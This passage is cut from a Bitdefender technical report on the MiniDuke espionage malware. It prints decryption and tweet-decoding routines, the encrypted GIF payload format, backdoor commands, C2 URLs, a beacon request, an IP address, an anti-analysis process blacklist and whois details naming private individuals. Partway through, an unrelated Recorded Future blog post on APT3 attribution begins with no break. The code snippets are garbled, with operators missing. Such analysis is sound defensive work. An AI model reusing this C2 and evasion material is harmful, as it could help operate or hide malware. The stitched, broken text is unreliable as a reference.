DWORD) area1)  ((DWORD) hash) ((DWORD) area1  4)  ((DWORD) hash  4) ((DWORD) area1  8)  ((DWORD) hash  8) ((DWORD) area1  0xC)  ((DWORD) hash  0xC) For the large data area (which is 0x80 bytes long), the malware does not use the same hash for encryption.
Instead, it would interchange the first DWORD with the second one in the structure and would re-compute the SHA-1 hash.
for (i0i8i)  ((DWORD) area2  i)  ((DWORD) hash) ((DWORD) area2  i4)  ((DWORD) hash  4) ((DWORD) area2  i8)  ((DWORD) hash  8) ((DWORD) area2  i0xC)  ((DWORD) hash  0x10)  After these operations have completed, a new checksum on the file is computed via the CheckSumMappedFile() function.
5.5 Removing the Watermark When the malware is run automatically (through rundll.exe), the watermark is removed.
The malware re-computes the hash based on the information collected from the system and would perform a XOR operation with the keys computed on the data sections as described in the Watermark  section.
When these operations have completed, the sample loaded in memory would not feature the watermark and the data can be decrypted.
2013 Bitdefender 11 A Closer Look at MiniDuke In order to deter analysis and avoid identification in automated malware research systems, the malware iterates through processes and looks for potentially dangerous processes listed in the Appendix A: Process Blacklist  section.
If it finds a blacklisted process, the malware modifies the first DWORD in the structure to be hashed in order to ensure that the data cannot be correctly decrypted.
5.5.1 Removal of the watermark through cryptanalysis As we discussed in the previous paragraphs, we know that the full Twitter link used by this specific sample is located in the second data section.
Upon decryption, the buffer should start with http(s)://(mobilem)twitter.com which means that we could find out the encryption key used for watermarking, as the encryption algorithm is a constant, just like the encrypted data.
We can find all the 16 bytes, since the plain-text is over 16 bytes long.
As soon as we had the key, we could completely decrypt the full link, including the Twitter username.
For the first data section - where the Google hyperlink is stored - cryptanalysis cannot be performed as we dont have a prefix of the encrypted text.
More than that, the length of the encrypted data is exactly the same as the length of the key.
5.6 Decrypting the Twitter and Google usernames The process starts with removing the watermark, as described in the Removing the Watermark  section.
At this point, we can isolate the data, although it is encrypted.
We proceed then with decrypting the 16-byte section that holds the Google username.
The decryption key is obtained by computing the CRC on the unpacked code.
The code starts at offset 0xC and spans until the beginning of the data section (which is 0x80 bytes long).
code_crc  crc32(code_begin, code_end) for (i3 i0 i--)  ((DWORD)area1  isizeof(DWORD))  code_crc code_crc  ROR(code_crc, 8)  Going further, the large area is decrypted with the following algorithm: unsigned char c  0 for (i0 i0x40 i)  c  c - 1 2013 Bitdefender 12 A Closer Look at MiniDuke area2[i]  (ROL(area2[i], c) - c )  c if (area2[i]  \0)  break   The result holds the Twitter link with the username.
5.7 Extraction of the secondary Twitter username If the primary Twitter username cant be accessed or if there is an error while contacting the CC server mentioned in the first tweet, the malware will attempt the same operation with the secondary Twitter account.
This secondary account is derived from the Google ID (which is hardcoded into the sample) and the current date (current week).
This means that a different ID should come up every week.
The Algorithm The malware gets the current date, but only keeps the week of the month, month and year.
These pieces of data are then concatenated with the decrypted data in the first data section.
A SHA-1 hash is computed on a buffer that has the following structure: DateGoogleSearchTerm.
The hash is then converted to Base64 and isolates the first N bytes of the buffer, which are determined by: N  ((DWORD) base64_string  mod_val)  add_val // (mod_val, add_val) are // (8, 6) for samples dated 2011 // (6, 7) for samples dated 2012/2013 Special characters are then stripped from the resulting string.
Character  becomes a, and character / becomes 9.
5.8 Interaction with Twitter The malware variant dated 2011 connects to twitter.com, while the variants isolated in 2012/2013 use mobile.twitter.com instead.
Every sample comes hardcoded with a version number in the form of a string.
Every version uses a different Twitter username.
These are the Twitter accounts extracted from samples throughout the years: 2013 Bitdefender 13 A Closer Look at MiniDuke 2011 ObamaApril Etoursinfo 2012 RuthHarper14 CurtinDiana trulrich zokath 2013 KellyPalmer20 EdithAlbert1 FontenotHoward JennieCartagena LorindaRay1 TinaPena10 The tweets are encoded in the following form: uriwp07VkkxYt3Ag/bdbNgi3smPJvX7HLEw5H6/S0RsmHKtA After decryption, the tweets would become URLs to update servers.
5.8.1 Decoding the Tweets The buffers are decoded using Base64, then rotates the output to the right (ROR) with a variable number of bytes, and then 0x5A is subtracted.
The encoding is fairly easy by reversing the algorithm.
def ror(val,pos): return ((val  pos)  0xff)  ((val  (8-poz))  0xff) crypt  base64.b64decode(din) c  0 dout for x in crypt: dout  dout  chr((ror(ord(x), c) - 0x5A)  0xff) c  (c  1)  8 // dout holds the decoded string // din is the initially-encrypted string.
5.9 Backup mechanism: Google If there are connectivity issues while accessing Twitter or if no tweets holding a uri command are found, the malware falls back to an alternate backup mechanism.
A search query with a 2013 Bitdefender 14 A Closer Look at MiniDuke series of characters is sent to Google.
The results are then processed until an uri pattern is found.
2011 zZkadfDljFE94fFa 2012 DFJ2dskl2394FDLI 9LidWIdf230DFkdL zZkOERmcrD94fFLa 666wifjDfjalQWLK 2013 lUFujJFDiufLKWPR HkyeiIDKiroLaKYr HJUlredIREYUkLLa lUFEfiHKDroLaKYr HJUlOIDIREYUkLLa lUFEfiHKljfLKWPR Although it has been implemented, this mechanism has not been used in the wild.
A Google search for these sequences did not yield any results.
Most likely, the mechanism has been implemented either for possible victims who had access to Twitter blocked in the firewall or as a failsafe mechanism, should the Twitter accounts get suspended.
Also worth mentioning is the fact that the publication of any technical papers about MiniDuke with mentions to the uri command and these unique sequences would also activate this mechanism.
If an infected system is unable to connect to Twitter anymore, it would still be able to call back home, as the Google query would return the CC address in these technical papers.
6.
Command and Control Each Twitter username is associated with as many command and control centers as tweets.
The tweets are encoded as described in the Decoding the Tweets  section.
After the CC address is decoded, the malware concatenates it with index.php or main.htm, default.htm, home.htm etc.
See the Appendix B: Possible channels used for CC section .
2011 ObamaApril   http://afgcall.com/demo/index.php etoursinfo   http://hottraveljobs.com/forum/docs/info.php 2013 Bitdefender 15 A Closer Look at MiniDuke 2012 RuthHarper14   http://arabooks.ch/events/ trulrich   http://tsoftonline.com/conf/ zokath   http://www.tsoftonline.com/engine/ 2013 EdithAlbert11   http://tsoftonline.com/views/ FontenotHoward   http://arabooks.ch/lib/ TinaPena10   http://arabooks.ch/srch/ LorindaRay1   http://artas.org/engine/ In the case of Twitter usernames JennieCartagena and CurtinDiana, there are no details about the CCs, as these accounts had been suspended and no information was cached by Google.
6.1 The Tweets The Twitter accounts and their corresponding messages are listed in the Appendix E: Twitter accounts section, along with their timestamp - the date in which action was taken by the attacking party.
The language of these tweets is particular for non-native English speakers - indefinite articles are missing, but the definite ones are present.
This is a feature particular to a small number of relatively popular languages that are spoken in Indonesia or Middle East.
2011 ObamaApril uriwp07VkkxYt3Ag/bdbNgi3smPJvX7HLEw5H6/S0RsmHKtA etoursinfo uriwp07VkkxYmHJnTtmuxrvY8ST8m6It3LjiYEnZvz4Yl/JezdMPBkw5IiVC1al.
2012 RuthHarper14 I was appointed to a new job, my ID for CV was wrong uriwp07VkkxYt3Md/JOnLhzRL2FJv0N9zJnzRNp trulrich uriwp07VkkxYmfNkwN2nBmx4ch/Iu2cGLeyZEDTKU 2013 Bitdefender 16 A Closer Look at MiniDuke zokath uriwp07VkkxYujRoyJ23DkwZ8mRGx6M9yLeyY8m/Yw48GS/E2k 2013 EdithAlbert11 Albert, my cousin.
He is working hard.
uriwp07VkkxYmfNkwN2nBmx4ch/Iu2cGJow39HbphL FontenotHoward My native town was ruined by tornado.
uriwp07VkkxYt3Md/JOnLhzRL2FJjY8l2It TinaPena10 alas I met new boy uriwp07VkkxYt3Md/JOnLhzRL2FJm7Mt7DEWg LorindaRay1 The weather is good today.
Sunny uriwp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg 6.2 The Communication Protocol The malware performs a GET request to a server with a Base64-encoded string that, if decoded, reads the following: For 2011 samples: crc32 country_code ComputerName/USERDOMAIN OS major, minor, sp_major, prod_type, architecture(32/64bit) antivirus_list proxy_list version (the version of the malicious sample) All values are split with .
The entire string is encoded in Base64.
For 2012/2013 samples: These samples send additional data, such as the system username.
Another significant change is the fact that the malware encodes the text using XOR and a key that results from SHA-1 hashing of the Google identifier.
The resulting buffer is then encoded with Base64.
This is a practical example of the GET request: ?
aMjIzMTQyMzkzM3xST3xIT01FL0hPTUV8NXwxfDN8MXwwfC18LXwyLjEygMjIzMTQy M. The variables names in the GET requests are randomly-picked.
The second variable holds a CRC modulo 13D455h on the encoded string.
The server responds with a GIF file that holds either a DLL or an EXE file.
2013 Bitdefender 17 A Closer Look at MiniDuke 6.3 Adding Modules and Updates After a request is sent to the C2, the malware receives a file with a .GIF header.
This is usually a valid image that has appended to it a payload or an update in an encrypted form.
The malware checks for the GIF8 magic at the beginning of the file and looks for the 0x3b00 word.
If the pattern is found, the malware isolates the next four bytes that actually represent the decryption key, followed by the encrypted payload.
Next, the digital signature is verified and then the payload is decrypted.
If it is a DLL file, it attempts to load it via LoadLibrary() if it is an EXE file, it gets written on disk with one of the following names: winupdt.exe, wcsntfy.exe, netmngr.exe, dumpreport.exe, taskhosts.exe, wupdmngr.exe, winhlp.exe, dllhosts.exe, dxdiagupd.exe, dialers.exe, netschd.exe, connwiz.exe, certupdt.exe, repfault.exe, wuapreport.exe, lanmgr.exe.
The file is then executed.
The GIF file is digitally signed with RSA 2048bit.
The signature is located at the end of the GIF file and uses SHA-1.
This mechanism ensures that the updates are legit and prevents an outsider from pushing a fake update.
6.4 The Encryption Algorithm for .GIF Files The encryption algorithm for these GIF files is a simple XOR operation with a key that rotates on each step // the .gif file buf  read_file(...) // looking for the index where the pattern starts i  idx_find_pattern() // decrypting the data, the last 0x100 bytes dont belong to the payload for j in range(i,size - 0x100): decrypt  decrypt  chr(ord(buf[j])  (key  0xff)) key  rold(key, 4) 6.5 Missing information The CC located at http://hottraveljobs.com/forum/docs/info.php holds a list that resembles log files.
There are approximately 60 entries which we believe are information about the targets.
Since we know the form of the data sent over to Command and Control centers, we might be able to get the format for the logs.
The format is CRCbase64sizemd5.
The CRC is a decimal representation, while the size field can represent the size of a payload sent to the respective target.
The md5 - value may be the MD5 hash of the payload.
2013 Bitdefender 18 A Closer Look at MiniDuke Example 2547942184 4mBwdmBzEaXtEGJSE10Z4mgVEuNV4mBXECt7gwtgf7EgGBbaHbAs7B7G7Bt0FnlFk17Z4hTuk1bZ4Ct EiHEU9wEsIoFLgW7mjh3pjCNLfhEuIHzViHbRJwTrk1cS4G3Z4mFS4GAS4mAt4hTtE1PueGPVeF 00 2419464363 EucSE6XtEGASE10Z4mFteGFWE14W4wt7gwt1GVzG7gTrgB4sFVxegv74d701k1IZ4hTtk1bZ4htbgV7 gcBz5f14UcBbSj2nWih3vJUAVdm3ZdhTUdmBUk1cVdmBTdmcT4GbZ4GBY4mcY4mN 150948c026fbffeed6155bf186abedb8681257 If the two fields at the end are really representations for size and md5, then we may have 24 different binary files (see the Appendix C: Possible MD5 hashes for payloads section ).
No files in the list could be found by their corresponding MD5.
7.
Malware Versions Each sample of the malware comes with a version number hardcoded in the binary.
Different versions are usually linked to a different Twitter account.
The vast number of versions indicates intense activity, but only a limited number of samples are known.
The timestamp is isolated from the samples PE header and represents the moment in which the executable file has been linked.
Although it can be usually spoofed, we believe it is real, as we were able to correlate it with the moment we received each of the samples.
2011 2011/06/20 - 0.1 - ObamaApril 2011/10/13 - 2.12  etoursinfo For the 2011 timeframe, we have two samples.
The one linked with the ObamaApril Twitter handle - malware version 0.1 - appears to be the oldest sample.
The jump to version 2.12 cannot be justified, and we believe that there are a number of missing samples, which makes year 2011 one of the most active periods for this family of malware.
However, one could also speculate that the versions do not follow a strict order.
2012 2012/05/14 - 6.66 - trulrich 2012/05/21 - 5.21 - trulrich 2012/05/23 - 6.67 - zokath 2012/06/06 - 6.06 - tonyafordy 2012/09/04 - 0.49 - CurtinDiana 2012/12/26 - 3.13 - RuthHarper14 For year 2012, there are a number of different versions, although we dont know if they follow a strict order or not.
For instance, version 3.13 was released in December, while version 5.21 was spotted in May.
It is possible that the servers hosting the samples to have run out of sync.
This would explain why lower versions have shown up in December.
2013 Bitdefender 19 A Closer Look at MiniDuke 2013 2013/02/12 - 1.05 - TinaPena10 2013/02/20 - 1.10 - LorindaRay1 2013/02/20 - 1.12 - EdithAlbert11 2013/02/20 - 1.13 - FontenotHoward 2013/02/21 - 1.10 - LorindaRay1 2013/02/21 - 1.12 - EdithAlbert11 2013/02/21 - 1.13 - FontenotHoward 2013/02/21 - 1.16 - JennieCartagena 2013/02/26 - 1.20 - KellyPalmer20 The versions released in 2013 follow a much stricter order.
Every subversion of the malware comes with a separate Twitter handle.
Quick math shows that there are at least 20 Twitter accounts that have been used in the attacks throughout 2013 (or at least until February 26th, the date of the discovery).
8.
Anti-Reverse Techniques The first defense mechanism to prevent analysis is the presence of the watermark.
The binary file wont properly run on a different machine, since the data inside the malware would be decrypted improperly.
Other techniques to prevent data decryption are present inside the binary: Running software used for reverse engineering: OllyDbg, IDA, Process Monitor etc.
Running the binary in virtual machines: VMWare and VirtualBox.
Breakpoints added to the code or code alteration (hardware breakpoints need to be used instead).
The malware also monitors for signs of user interaction, a common technique used for anti- emulation and anti-automated malware analysis.
Another important aspect for versions in 2012 and 2013 is the fact that the malware does not trigger right after installation, but rather wait for a system restart to execute its main code.
2013 Bitdefender 20 A Closer Look at MiniDuke 9.
Payload: Backdoor 9.1 Samples These are the MD5 hashes for the droppers.
The date is collected from the PE file header of the backdoor in the droppers: 1e1b0d16a16cf5c7f3a7c053ce78f515, 2012-03-05 b029378966d2694f8abd51f0d6c7822a, 2012-06-15 53db085a276ebbf5798ba756cac833ea, 2013-02-22 9.2 The Loader The loader decodes the information in the .data section with the UCL algorithm, then passes control to the decrypted code.
This piece of code holds a small loader stub, followed by an executable file which is the backdoor itself.
The stub overwrites the memory image of the original executable file with the backdoor so it is never written on disk.
The malware also creates the following key in the Registry HKCU\Software\Microsoft\ApplicationManager with a value of AppID  random (the value is generated via the GetTickCount() function).
Malware then waits in a loop and performs requests to info.leveldelta.com Example:   GET /php/text.php?igigogrzf4J74xQdeBqVi6w360xlP2ksrNpY7dxmj Accept: / User-Agent: Mozilla/4.0 Host: info.leveldelta.com The base64 value in the request is a 30-byte buffer derived from AppID and GetTickCount() and is always different.
We believe that it is used as an identifier.
If it gets a response from the server, the malware performs a series of validations and execute the received commands.
The responses are sent via POST and contain the identifier from the GET request, followed by the commands result.
This is the way the malware exfiltrates documents from the target computers.
9.3 Backdoor commands mv - Moves a file.
Uses MoveFileA api.
cp - Copies a file.
Uses CopyFileA api.
rm - Deletes a file.
Uses DeleteFileA api.
pwd - Gets current dir.
Uses GetCurrentDirectoryA api.
cd - Sets current dir.
Uses SetCurrentDirectoryA api.
rmdir - Removes dir.
Uses RemoveDirectoryA api.
mkdir - Creates a dir.
Uses CreateDirectoryA api.
pskill - Kills process.
Uses OpenProcess, TerminateProcess apis.
2013 Bitdefender 21 A Closer Look at MiniDuke exew - Create a process.
Uses CreateProcessA api.
conf - Gets some configuration data, creates a string id: 0x08X\char host: info.leveldelta.com\ port: d\ delay: d\ cdt - Change to TEMP dir.
Uses GetTempPathA, SetCurrentDirectoryA APIs.
dev - Returns the list of drives in the system with their type (fixed, removable, etc).
The following strings are used for their types: unk, nrt, rmv, fix, net, cdr, ram, und.
Uses GetLogicalDriveStringsA, GetDriveTypeA apis.
time - Gets the number of hours since the system was started: uptime 5d.02dh.
Uses GetTickCount api.
info - Gets info about system.
String generated like: d s\ns\ s\ using GetCurrentProcessId, GetModuleFileNameA, GetComputerNameA, GetUserNameA apis.
exit - exiting... dir, ls - List files in current dir.
Uses FindFirstFile(), FindNextFile apis.
exeu - CreateProcessWithLogonW and reads data from pipe.
ecec - CreateProcessA and read data from pipe.
put - Writes file on disk from internal buffer.
Uses CreateFileA, WriteFile apis.
get - Reads a file in chunks of 0x400 bytes and computes SHA1 on them.
ps, pslist - Gets info about processes and their modules.
Uses EnumProcesses, OpenProcess, EnumProcessModules, GetModuleFileNameExA apis.
9.4 Servers We have identified two servers used in the attack (sample md5/timestamp/server): 1e1b0d16a16cf5c7f3a7c053ce78f515, 2012-03-05 news.grouptumbler.com/news/feed.php b029378966d2694f8abd51f0d6c7822a, 2012-06-15 info.leveldelta.com/php/text.php 53db085a276ebbf5798ba756cac833ea, 2013-02-22 info.leveldelta.com/php/text.php Whois information on news.grouptumbler.com Registrant Contact: Grouptumbler.
COM Tim K. Lappin () Fax: 4573 Froe Street Bluefield, WV 24701 Bluefield, WV 24701 US 4573 Froe Street Bluefield, WV 24701 Bluefield, WV 24701 Whois information on info.leveldelta.com Registrant Contact: Abdul Kasim () 2013 Bitdefender 22 A Closer Look at MiniDuke Fax: 1442 Sokak No 49 Izmir, IZMIR 35432 TR 1442 Sokak No 49 Izmir, IZMIR 35432 TR 10.
Payload: Turkish Backdoor 10.1 Sample 626489f8cafacb1b24fe6ecf0db52f23 - The received.gif file, named 3979106736.gif 6bc34809e44c40b61dd29e0a387ee682 - The variant decrypted from the .gif file Observations: clean code, generated by the compiler and no obfuscation.
The file does not have version information or digital signature.
10.2 Modus Operandi The malware checks to see if the host computer connects to the Internet through a proxy server.
If set, the malware uses the proxy settings.
Regardless of the connection method, the malware connects to 85.95.236.114:443 using sockets.
It creates an unique identifier (DWORD size), from the socket handle.
Everything is encrypted with XOR and a value of an address on the stack.
It sends the identifier on the opened socket.
It receives 16 bytes from the socket, and creates a MD5 hash on these.
The MD5 hash will be used as key for the AES algorithm.
It receives 16 bytes used for AES encryption as initialization vector.
It receives 4 bytes, it performs a XOR operation with the identifier and allocates memory as follows: malloc(val XOR user_id) It receives a number of size bytes, decrypts them with AES and calls the start of the decrypted buffer.
The payload can be used to load new modules.
The received code needs to be completely relocatable as the main piece of malware.
Using this technique, the attackers may introduce malicious code that will never be saved on disk, but rather executed directly from memory.
We could also presume that some payloads have been exclusively delivered via this channel and cant be recovered for forensic investigation because they never made it on the disk drive.
2013 Bitdefender 23 A Closer Look at MiniDuke Information about 85.95.236.114 Location: Turkey Izmir Inetmar Internet Hizmetleri San.
Tic.
Ltd. Sti ASN: AS49467 INETMAR INETMAR Internet Hizmetleri Autonomous System (izmir) (registered Jun 15, 2009) Contact: person: Deniz Tosun org: ORG-IiHS1-RIPE address: 1370 sok.
NO:42 Yalay Is Merkezi Kat:4/406 address: Montro/Konak/IZMIR Country: TR 2013 Bitdefender 24 A Closer Look at MiniDuke Appendix A: Process Blacklist apispy32.exe apimonitor.exe winapioverride32.exe procexp.exe procmon.exe filemon.exe regmon.exe winspy.exe wireshark.exe dumpcap.exe tcpdump.exe tcpview.exe windump.exe netsniffer.exe iris.exe commview.exe ollydbg.exe syser.exe idag.exe idag64.exe petools.exe vboxtray.exe vboxservice.exe vmwaretray.exe vmwareuser.exe Appendix B: Possible channels used for CC index.htm main.htm default.htm home.htm out.htm click.htm link.htm page.htm browse.htm directory_home.htm portal.htm info.htm current.htm details.htm 2013 Bitdefender 25 A Closer Look at MiniDuke search.htm article.htm Appendix C: Possible MD5 hashes for payloads 01c59a7a5612f90cd8f52a30c1b0ec4e 09ac651a422e03eba9c169c218c4aac6 116d759a7cc530826e96be46803efa30 1679a28e3fc3cc9554fbb4f0fa8705f4 18132ea533919353a949d92df46d752b 4ea816a1b0e91b22c6d25cee4f4fde3c 67acf4072e451052d633dad9c8420eb4 719ea5175cf17b28c0ff0958179409cf 92a6385eeb0cefcabd557f29b169dec7 ac9f826f81c0dae043fa7045f7ec0ec8 b510b040e789d6d5f1ce4c5537970756 bb0318de92a47c2f2637f48217ab1be2 bd68fdba01b19e45a75beb14dfb7d76e c026fbffeed6155bf186abedb8681257 c4a28bd80fda44e043b78db596e9602e c660a74a189103bd0ceee8bdbd21571c ded0c5cd0afa8419e85b2b79cefa806a e1409964532d1a011de2198f0565cba1 e18d275072c0f1fc295f43e1d65c9936 e57db4833fc457f76d292fe798324902 f20ff2c43ea7a24252359007cb182444 f3d8f1aca7e18126e4651f1da84adacb f894fabe444a0e5f8416e39eead49df2 fe389fba6fb5876aca797bcf0cf8fb98 2013 Bitdefender 26 A Closer Look at MiniDuke Appendix D: E-Mail samples used in attacks Figure 3: The e-mail bundled with the infected PDF file 2013 Bitdefender 27 A Closer Look at MiniDuke Appendix E: Twitter accounts 2013 Bitdefender 28 A Closer Look at MiniDuke 2013 Bitdefender 29 A Closer Look at MiniDuke Appendix F: Forged documents 2013 Bitdefender 30 A Closer Look at MiniDuke 2013 Bitdefender 31 A Closer Look at MiniDuke 2013 Bitdefender 32 A Closer Look at MiniDuke 2013 Bitdefender 33 A Closer Look at MiniDuke 2013 Bitdefender 34 A Closer Look at MiniDuke Appendix G: Samples by Year These are the MD5 checksums of the main components, but not payloads, droppers or PDF files.
2011 1c658719e6dedb929a6d85359c59682d 975e0ebd25b52dad0dd75d7cf01baa4b 2012 1de51ec5d2b8466f0d424e1c8dcd6454 2e9e0b7c6b9fe90ab3249878a282f3d1 423bb8914078a587d08b54d16bbd527c 45865a33d868c28377f93467726ccd83 4c9facc41d9432d11940afeaefeb0ce3 561017f887865b8d13f85c5474cdcbb8 5cd1451579ef46c9a768df302d2c8955 612fba96383a5098c26fe1a222e1e755 73931351f883cff5dbdcc54cc4eb10a7 74593127f50abff5327b3f7038b456d2 753737a255c7567fc5c6175373904a84 8d3542af992b1de4cf1f587f61dddb50 9f13dc03904dbd45374acc2134477273 a8f8e87df1ac4453dc6aa65daca9b97d ded2f80457aaefe1a80a9cefd1f4645d e48fb57ce3d9c56ca3cf6c4aed8ad0ea ff83dad77ac2b526849930f1860dfd3f 2013 016536ed5276115a4ed72261eae073cd 0348458ddab87f5296191f08b01f842d 0b346e73f0f1483ec129be14e665f174 0dc58bc19e00bd8fee96a989c145f9b1 0e132f3486ded4dd5f8072c56218a6a7 0efa05d6d817bcada9a82dbbcb4e7c88 0f79a1453489123ce610835732bc14d3 124cf2d29ace0f1b92d23840f7d15467 172c36b5d0e4359b3cc7e2a54da4333c 1d83e0481f0f352551f501cc9fd16de0 20b4a6c42f1abf7a73ed64beb495ea7a 20e28d848daabd4369041d911fd7a79b 243837bbfa122a8a472faa02596d15d1 2528957b58ffaba591057d2416fe2226 2530f54b87508e6f09a6bc5ab863b5db 319df3a37d6c1325272d3234c52f6024 33335319c246c3ae5844e3d1be93644d 3442005846b16a96c081af5362f8ffaa 3886a408c917b0cf377c3b99899da942 3d556b7236b8fbc3e52ae1719c31bf7e 2013 (continued) 3db113b082fdcad366ef70aaeb4c42a2 41501aa706de0e972fe043411da211fc 424808b168d3d5d7bba77757177e70df 4932b2c4a629d2783d0927a4b4a2c678 4aee487d0bf88cc12e277b0f275a90d5 4b07a3ba46928b361132d043ced489ad 4eeead5b15e3d93229c185db5abb951a 509c8e389f293e4beaa18d425cc89475 51541ea6f5706dbf7598630de87c2cad 525bb2d9db67c22cc60172893ce657ac 527537cc28705e01af8d8006ae8308a9 527de10f536a842a4265532c38b6dbdd 57446317cf90ed2ca7fa0280fadedc01 5a97e7548fe118a4f829234828bd4621 5c1b0c783cbaae684a9600813a1ae392 633d5a729b73f2555c2dc0a8164bbda0 6942f1dfd61d231df8acb7ed0f6310c4 6a6c631a6c2194b9805359cd64ae778d 71ed4557ce864149e9e2863cd8e9b7af 7223245f43dfd77b2b600603f712804d 76642f61d20345ef04a52cff47e87795 810de1b9fa0a9396acae23dcd113a60d 81460a40d27b9d9671dcecb3ddcbdb8f 898315f60b4afd952fb40e8b3a9cc915 8b423c8b0522e09ffab2df7e38eea15f 8bf5f1ce970d23d3bb27b3a569023561 9d4923a284db404fcfe6deb664e6cb32 9da1c9280caeecb0e14e89fd51b4c995 a2dd811a8535db4026eaefb6469bb8ff a5bc1dfbf1623b3c236f6c429f249ff1 ac492dd093a404f89554ce55800e2685 af74866f044fd10dc761f509ff743cd7 b17426c0eedc296b0c752db11ec52c82 b876837b7482fd68503247fbf2277840 bcdaee523dd9df6e68088da412ed1a50 c6d810b921c7c4690ffbd3f71b837690 c72e74b914428f1a18ba2ef1c6a737e4 c786a4cdfe08dbe7c64972a14669c4d1 c91e5d73d2b6af9b53f4092b82f254cd c96ccb992ad128841b1ccc5b41a70ab3 cf33c3e61f35f1c721bcefda8dfd2963 d2209cb468db8e225712908c7b170eb5 d87adb9dbffc9af9995d24576b6b0cb3 d89eadb030bfda71d4784a9c5407dcc1 dca37dff4cb484d2dc1716b39ab58340 2013 Bitdefender 35 A Closer Look at MiniDuke dd171802c25fae5b75fdcbafb353fc3f de3e248a564b661fadc9752b2aadffc4 e1cd68f4775e46ecad342c2fef4222db e29d75363204595ac729ba63a046e70b e863737773f64498091cd775c7abde66 ea68bf40c2ba2fa3368287ca661bae7e eded5be7e464bdbd05b18bfa10bea1fc efa40e62ee5bcecaa2f42854bdc70e94 f1551fb70613cf4820acbb1eef470284 fedbe9853064a5affe17e98066376bde
5/17/2017 Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3 recordedfuture.com /chinese-mss-behind-apt3/ The Recorded Future Blog Posted in Cyber Threat Intelligence by Insikt Group on May 17, 2017 This is the first time researchers have been able to attribute a threat actor group with a high degree of confidence to the Ministry of State Security.
Key Takeaways APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the Chinese Ministry of State Security (MSS).
On May 9, a mysterious group called intrusiontruth attributed APT3 to a company, Guangzhou Boyu Information Technology Company, based in Guangzhou, China.
Recorded Futures open source research and analysis has corroborated the company, also known as Boyusec, is working on behalf of the Chinese Ministry of State Security.
Customers should re-examine any intrusion activity known or suspected to be APT3 and all activity from associated malware families as well as re-evaluate security controls and policies.
Introduction On May 9, a mysterious group calling itself  intrusiontruth identified a contractor for the Chinese Ministry of State Security (MSS) as the group behind the APT3 cyber intrusions.
1/9 https://www.recordedfuture.com/chinese-mss-behind-apt3/ https://www.recordedfuture.com/category/analysis/cyber/ https://intrusiontruth.wordpress.com/2017/04/26/who-is-behind-this-chinese-espionage-group-stealing-our-intellectual-property/ https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-1.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-2.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-3.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-4.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-5.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-6.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-7.png https://www.recordedfuture.com/assets/chinese-mss-behind-apt3-8.jpg Recorded Future timeline of APT3 victims.
Screenshot of a blog post from intrusiontruth in APT3.
Intrusiontruth documented historic connections between domains used by an APT3 tool called Pirpi and two shareholders in a Chinese information security company named Guangzhou Boyu Information Technology Company, Ltd (also known as Boyusec).
2/9 https://intrusiontruth.wordpress.com/2017/05/02/who-is-mr-wu/ Registration information for a domain linked to the malware Pirpi.
The details show the domain was registered to Dong Hao and Boyusec.
APT3 has traditionally targeted a wide-range of companies and technologies, likely to fulfill intelligence collection requirements on behalf of the MSS (see research below).
Recorded Future has been closely following APT3 and has discovered additional information corroborating that the MSS is responsible for the intrusion activity conducted by the group.
3/9 Recorded Future Intel Card for APT3.
Background APT3 (also known as UPS, Gothic Panda, and TG-011) is a sophisticated threat group that has been active since at least 2010.
APT3 utilizes a broad range of tools and techniques including spearphishing attacks, zero-day exploits, and numerous unique and publicly available remote access tools (RAT).
Victims of APT3 intrusions include companies in the defense, telecommunications, transportation, and advanced technology sectors  as well as government departments and bureaus in Hong Kong, the U.S., and several other countries.
Analysis On Boyusecs website, the company explicitly identifies two organizations that it cooperatively partners with, Huawei Technologies and the Guangdong Information Technology Security Evaluation Center (or Guangdong ITSEC).
4/9 https://www.symantec.com/connect/blogs/new-ie-zero-day-used-targeted-attacks http://www.huawei.com/ http://www.gditsec.org.cn/ Screenshot of Boyusecs website where Huawei and Guangdong ITSEC are identified as collaborative partners.
In November 2016, the Washington Free Beacon reported that a Pentagon internal intelligence report had exposed a product that Boyusec and Huawei were jointly producing.
According to the Pentagons report, the two companies were working together to produce security products, likely containing a backdoor, that would allow Chinese intelligence to capture data and control computer and telecommunications equipment.
The article quotes government officials and analysts stating that Boyusec and the MSS are closely connected, and that Boyusec appears to be a cover company for the MSS.
5/9 http://freebeacon.com/national-security/pentagon-links-chinese-cyber-security-firm-beijing-spy-service/ Imagery 2017 DigitalGlobe, Map data 2017 Boyusec is located in Room 1103 of the Huapu Square West Tower in Guangzhou, China.
Boyusecs work with its other cooperative partner, Guangdong ITSEC, has been less well-documented.
As will be laid out below, Recorded Futures research has concluded that Guangdong ITSEC is subordinate to an MSS-run organization called China Information Technology Evaluation Center (CNITSEC) and that Boyusec has been working with Guangdong ITSEC on a joint active defense lab since 2014.
Guangdong ITSEC is one in a nation-wide network of security evaluation centers certified and administered by CNITSEC.
According to Chinese state-run media, Guangdong ITSEC became the sixteenth nationwide branch of CNITSEC in May 2011.
Guangdong ITSECs site also lists itself as CNITSECs Guangdong Office on its header.
According to academic research published in China and Cybersecurity: Espionage, Strategy, and Politics in the Digital Domain, CNITSEC is run by the MSS and houses much of the intelligence services technical cyber expertise.
CNITSEC is used by the MSS to conduct vulnerability testing and software reliability assessments.
Per a 2009 U.S. State Department cable, it is believed China may also use vulnerabilities derived from CNITSECs activities in intelligence operations.
CNITSECs Director, Wu Shizhong, even self-identifies as MSS, including for his work as a deputy head of Chinas National Information Security Standards Committee as recently as January 2016.
Recorded Future research identified several job advertisements on Chinese-language job sites such as jobs.zhaopin.com, jobui.com, and kanzhun.com since 2015, Boyusec revealed a collaboratively established joint active defense lab (referred to as an ADUL) with Guangdong ITSEC in 2014.
Boyusec stated that the mission of the joint lab was to develop risk-based security technology and to provide users with innovative network defense capabilities.
